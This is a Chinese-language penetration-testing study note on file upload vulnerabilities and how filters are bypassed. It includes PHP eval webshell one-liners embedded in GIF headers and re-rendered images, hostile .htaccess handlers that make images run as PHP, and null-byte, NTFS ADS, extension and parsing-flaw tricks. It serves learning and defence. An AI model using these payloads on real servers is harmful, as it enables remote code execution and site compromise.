文件上传漏洞
该漏洞的产生时因为软件编写人员没有对用户的上传行为做过滤,如没有对文件的上传类型做限制,那么用户就可以上传任意类型的文件,从而造成危害。
过滤方法
前端过滤
通过js过滤文件扩展名:可通过禁用js,抓包改包、修改文件后缀名的方式绕过,重写前端过滤函数
后端过滤
识别文件扩展名:只在后端是基于黑名单过滤的时候有效。在appache中,识别文件名的方法时从右向左识别,遇到不能识别的扩展名就会被忽略,直到遇到一个可识别的扩展名。所以我们可以通过构建这样的扩展名绕过,test.php.tar
在apache的配置文件中有一个defaulttype选项,该选项设置了当文件名不可被识别的时候处理该文件的策略。默认会被当成text/plain类型处理。Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止。
识别mime类型:通过抓包改包软件过滤
识别文件头部字符:在文件中插入对应文件的标志字符
1 | 47494638 //gif文件头<?php@eval($_POST[123])?> |
通过修改中间件配置文件,使得文件存储目录对应后缀名文件只能以特定的方式被读取
AddType text/plain .py .txt .php
//这样设置php文件将被作为文本文件看待。
禁止此类文件被访问
Options -ExecCGI AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi识别
强制web服务器对于特定文件类型的处理,与第一条不同的是, 下面的方法直接强行让apache将文件识别为你指定的类型,而第一种是让浏览器符合上面正则的全部被认为是纯文本,也可以继续往里面加入其他类型。
<FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$"> ForceType text/plain </FilesMatch>
只允许访问特定类型的文件.使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问(白名单策略)。
<Files ^(*.jpeg|*.jpg|*.png|*.gif)> order deny,allow deny from all </Files>
上述过滤策略均可通过上传.htaccess伪静态文件,被覆盖。伪静态文件被执行需要设置了allowoverride
在该文件中写入
1 | <IfModule mime_module>AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行</IfModule>或者<FilesMatch "evil.gif">SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行</FilesMatch>或者<IfModule mime_module>AddType application/x-httpd-php .gif</IfModule> |
文件系统截断,当文件系统遇到0x00的时候,会认为文件已经结束,这样我么可以这样构造扩展名a.php%00jpg。当文件系统读取文件的时候遇到%00的时候会认为文件已经结束,但如果过滤系统只是简单得判断后缀名是不是php的话,他得到的是php%jpg这当然不是php,所以成功通过
,这样我们就有了一个a.php的文件。
**利用ntfs文件系统的ads特性:**构造这样一个文件名a.php::DATA,在这个文件中,后缀名明显不是php,那么针对后缀名检测就失效了,但是ntfs文件系统却能识别这种格式,其中DATA表示该ads流是一个文件流,但是因为流名为空,即该宿主文件并没有挂着一个ads流文件,那么ntfs文件系统讲执行宿主文件,如果流名不为空则会执行寄宿文件。
使用大小写绕过
PHP/PhP
使用另类扩展名
php2/php3/php4/php5/php /php./php../pht/phtml
后缀冗余
添加如%81这类的非法文件名到文件末尾
a.php%81
双写绕过
phphpp
该处涉及对方替换的时候,是从前往后还是从后往前识别的pphphp
与phphpp
是两种完全不同的情况
二次渲染绕过
我们上传的文件很多时候都会被二次渲染并存储到别的位置,在进行二次渲染的过程中,甚至会去掉其中的冗余部分,也就是我们附加的一句话木马部分,这时候,我们就需要利用工具对比原图片于二次渲染后的图片中相同的部分,也就是没有被改变的部分,在这部分部分插入一句话木马,来绕过该限制如winhex和010editor
%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%2089f0d86c654b4d3cadc3d82d4c7f4b6e/Untitled.png
针对GIF文件
直接使用010editer比较两次上传文件区别,在相同部分插入代码就可以了
针对PNG文件
直接像修改gif文件那样已经行不通了,需要将代码写入的PLET数据块或者IDAT数据开中
写入到PLET数据块中
使用索引图像才能写入成功,所以需要在ps中改一下图片的图像模式。为索引颜色
%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%2089f0d86c654b4d3cadc3d82d4c7f4b6e/Untitled%201.png
这样修改之后,使用脚本工具将脚本写到图片中,这时候再上传可能还是会失败
%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%2089f0d86c654b4d3cadc3d82d4c7f4b6e/Untitled%202.png
尝试再次上传渲染
%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%2089f0d86c654b4d3cadc3d82d4c7f4b6e/Untitled%203.png
1 | 成功~~~~~ |
写入到IDAT数据块
直接跑脚本
针对jpg文件
直接上脚本
注意事项:
- 需要被 imagecreatefromjpeg 渲染或再用工具
- 图片找的稍微大一点 成功率更高
- Payload 语句越短成功率越高
- 一张图片不行就换一张 不要死磕
- 国光补充:貌似白色的图片成功率也比较高
<?php $_GET[0]($_POST[1]);?>
这种payload 成功率很高
条件竞争—并发漏洞
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。在进行二次渲染的过程中可能存在该楼哦东
该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
文件解析漏洞
再iis中如果上传*.asp;1.jpg的文件,iis会将该文件当作asp文件解析;将*.asp/目录下的所有文件会被当成asp解析;默认会将扩展名为.asa,.cdx,.cer解析为asp
在后端开启了cgi的情况下,请求这样的地址http://www.armandhe.com/a.jpg/a.php
其中a.jpg是我们请求的真实文件,a.php是不存在的一个文件,可以任意定义,此时a.jpg文件会被当作是php文件去解析执行。
对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。 例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析。
php的一个选项:cgi.fix_pathinfo,该选项默认开启,值为1,用于修理路径, 例如:当php遇到文件路径"/info.jpg/xxx.php/lxh.sec"时 若"/info.jpg/xxx.php/lxh.sec"不存在,则会去掉最后的"/lxh.sec",然后判断"/info.jpg/xxx.php"是否存在 若存在则将/info.jpg/xxx.php,当作文件/info.jpg/xxx.php/lxh.sec 若/info.jpg/xxx.php仍不存在,则继续去掉xxx.php,依此类推。
addhandler漏洞 :AddHandler application/x-httpd-php .jpg
如果这样设置,所有文件名中含有.php的文件都会被当作php文件执行。
**换行漏洞:**php中的$修饰不仅可以匹配字符串的结尾,而且可以匹配所以这样的文件名是可以的1.php0A,如此的话就可以绕过正则表达式。
./ :使用move_upload_file的时候,当文件存储的路径可控的时候,路径后面的/.会被忽略,即hack.php/.